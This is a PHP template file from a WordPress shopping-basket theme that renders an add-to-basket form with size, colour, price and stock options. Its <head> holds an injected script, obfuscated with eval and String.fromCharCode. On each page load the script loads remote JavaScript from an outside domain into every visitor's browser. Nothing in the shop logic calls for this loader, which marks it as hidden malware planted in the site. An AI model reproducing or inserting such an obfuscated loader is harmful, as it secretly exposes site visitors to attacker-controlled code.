<?php
$this_file = str_replace( '\\', '/', __FILE__ );
$this_file = explode( 'wp-content', $this_file );
$this_file = $this_file[ 0 ];

// required for making tables easier
require_once( $this_file . 'wp-config.php' );

// alternative
//require_once( '../../../wp-config.php' );
?>
<?php
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' ); 
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org/xfn/11">
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" href="<?php bloginfo( 'stylesheet_url' ); ?>" type="text/css" media="screen, projection" />
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));</script></head>
<body>

<div class="contentbasket">
	
	<div class="article">

<?php
// get options
$aOptions      = SofaShoppr::initOptions( false );
$entrycurrency = $aOptions[ 'entrycurrency' ];
$itemid        = intval( stripslashes( strip_tags( $_GET[ 'itemid' ] ) ) );
$item_obj      = get_post( $itemid );
$use_stock_inventory = $aOptions[ 'use_stock_inventory' ];
// prevent sudden errors
if( $item_obj != NULL ) {
$p_t           = strip_tags( stripslashes( $item_obj->post_title ) );
$custom_fields = get_post_custom( (int)$itemid );
$item_sizes    = $custom_fields[ 'size' ][ 0 ];
$item_colors   = $custom_fields[ 'color' ][ 0 ];
$item_stock    = $custom_fields[ 'stock' ][ 0 ];
// retrieve required item details
$arrFiles =& get_children( 'post_type=attachment&post_mime_type=image&orderby=menu_order&order=ASC&post_parent=' . $itemid );
$arrKeys  = array_keys( $arrFiles );
if( $arrKeys[ 0 ] ) $required_file_path = wp_get_attachment_thumb_url( $arrKeys[ 0 ] );
?>
	<h2><?php _e( "Add item to basket", "sofa_shoppr" ); ?></h2>

    <form method="post" action="<?php echo ( get_bloginfo( 'template_directory' ) . '/add_item_save.php' ); ?>" class="nyroModal">
	
    <p style="visibility: hidden;">
    <input type="hidden" name="itemid" id="itemid" value="<?php echo $itemid; ?>" />
	<input type="hidden" name="itemp" id="itemp" value="" />
	<input type="hidden" name="itemst" id="itemst" value="" />
	</p>
    
	<div id="basketimg">
    	<img src="<?php echo $required_file_path; ?>" alt="<?php echo $p_t; ?>" />
        <?php
		if( $use_stock_inventory == 'yes' ) {
			$item_stock_list = 0;
			if( $item_stock != NULL ) {
				$items_in_stock = get_post_meta( $itemid, 'stock', true );
				$count_item_stock = 0;
				$item_stock_array = explode( "\n", $items_in_stock );
				$item_stock_list = implode( ',', $item_stock_array );
				$item_stock_list = urlencode( $item_stock_list );
				$write_stock_val = intval( $custom_fields[ 'stock' ][ 0 ] );
				if( $write_stock_val < 0 ) $write_stock_val = 0;
				echo '<div class="stockinfo"><p>';
				echo __( "In stock", "sofa_shoppr" ) . ': <span id="stocknum">' . $write_stock_val . '</span>';
				echo '</p></div>';
			}
		}
		?>
    </div>
    
    <div id="basketdetails">
    
        <h3>
        <?php
		$item_prices_list = 0;
		$item_prices = get_post_meta( $itemid, 'price', true );
		$item_prices_array = explode( "\n", $item_prices );
		if( $item_prices_array ) {
			$price = number_format( $item_prices_array[ 0 ], 2, '.', ',' );
			$item_prices_list = implode( ',', $item_prices_array );
			$item_prices_list = urlencode( $item_prices_list );
		}
		echo $p_t . ', ' . $entrycurrency . ' <span id="pricer">' . number_format( $price, 2, '.', ',' ) . '</span>';
		?>
        </h3>
        <?php 
		// size - if any
		if( $item_sizes ) {
			$count_item_sizes = 0;
			$item_sizes_array = explode( "\n", $item_sizes );
			echo '<p class="displayinline">';
			echo '<label for="itemsize">' . __( "Select size", "sofa_shoppr" ) . ': </label>';
			echo '<select id="itemsize" name="itemsize" size="1" tabindex="1">';
			foreach( $item_sizes_array as $sizez ) {
				if( $count_item_sizes == 0 ) $add_str = ' selected="selected" ';
				else $add_str = ' ';
				$option = '<option' . $add_str . 'value="' . $sizez . '" rel="' . $count_item_sizes . '"> - ';
				$option .= $sizez;
				$option .= ' - </option>';
				echo $option;
				$count_item_sizes ++;
			}
			echo '</select>';
			echo '</p>';
		}
		// end size
		// color - if any
		if( $item_colors ) {
			$count_item_colors = 0;
			$item_colors_array = explode( "\n", $item_colors );
			echo '<p class="displayinline">';
			echo '<label for="itemcolor">' . __( "Select color", "sofa_shoppr" ) . ': </label>';
			echo '<select id="itemcolor" name="itemcolor" size="1" tabindex="2">';
			foreach( $item_colors_array as $colorz ) {
				if( $count_item_colors == 0 ) $add_str = ' selected="selected" ';
				else $add_str = ' ';
				$option = '<option' . $add_str . 'value="' . $colorz . '"> - ';
				$option .= $colorz;
				$option .= ' - </option>';
				echo $option;
				$count_item_colors ++;
			}
			echo '</select>';
			echo '</p>';
		}
		// end color
		// quantity
		echo '<p class="displayinline">';
		echo '<label for="itemamount">' . __( "Quantity", "sofa_shoppr" ) . ': </label>';
		echo '<input class="small" type="text" name="itemamount" id="itemamount" size="5" value="1" tabindex="3" onkeydown="krak_IEnter();" />';
		echo '</p>';
		?>
        
        <p class="basketbutton displayinline">
           <button type="submit" id="submit" value="" tabindex="2"><span><?php _e( "ADD ITEM", "sofa_shoppr" ); ?></span></button>
        </p>
    
    </div>
    
	</form>
    
    <?php
	} else {
	?>
    
	<div id="contentbasket">
	
		<div class="article">
        
        <h2><?php _e( "Ups!", "sofa_shoppr" ); ?></h2>
    	<p>
        <?php _e( "You are trying to add an non-existing item to your shopping basket which is not possible.", "sofa_shoppr" ); ?>
        </p>
    <?php
	}
	?>
    
        </div>
    </div>
    
    <script type="text/javascript">
    
    jQuery( document ).ready( function() {
        
        var obey_elem = jQuery( '#itemsize option:selected' ).attr( 'rel' );
        updatr( obey_elem );
        
        jQuery( '#itemsize' ).change( function() {
            var obey_elem = jQuery( 'option:selected', this ).attr( 'rel' );
            updatr( obey_elem );
        });
        
    } );
    
    function updatr( obey_elem ) {
        var in_array = parseInt( obey_elem, 10 ); // my array position
        // handle stock
		var use_stock = decodeURIComponent( "<?php echo $use_stock_inventory; ?>" );
		if( use_stock == "yes" ) {
			var in_stock = decodeURIComponent( "<?php echo $item_stock_list; ?>" );
			in_stock = in_stock.replace( /\+/g, ' ' );
			var ar_stock = in_stock.split( ',' );
			var stockvald = ( !ar_stock[ in_array ] ) ? in_stock : ar_stock[ in_array ];
			if( stockvald < 0 ) stockvald = 0;
			jQuery( '#stocknum' ).html( stockvald );
			if( stockvald <= 0 ) {
				jQuery( '#submit' ).attr( 'disabled', 'disabled' );
				jQuery( '#submit' ).addClass( 'outofstock' );
				jQuery( '#submit' ).html( "<span><?php _e( "OUT OF STOCK", "sofa_shoppr" ); ?></span>" );
			} else {
				jQuery( '#submit' ).removeAttr( 'disabled' );
				jQuery( '#submit' ).removeClass( 'outofstock' );
				jQuery( '#submit' ).html( "<span><?php _e( "ADD ITEM", "sofa_shoppr" ); ?></span>" );
				jQuery( '#itemst' ).attr( 'value', stockvald );
			}
		} else {
			jQuery( '#itemst' ).attr( 'value', 1 );
		}

        //handle prices
		var prices = decodeURIComponent( "<?php echo $item_prices_list; ?>" );
		prices = prices.replace( /\+/g, ' ' );
        var ar_pri = prices.split( ',' );
		var pricevald = ( !ar_pri[ in_array ] ) ? prices : ar_pri[ in_array ];
        jQuery( '#pricer' ).html( pricevald );
        jQuery( '#itemp' ).attr( 'value', pricevald );
    }
	
	function krak_IEnter() {    
		if( event.keyCode == 13 ) {        
			event.cancelBubble = true;
			event.returnValue = false;
		}
	} 
    
    </script>

	</body>
</html>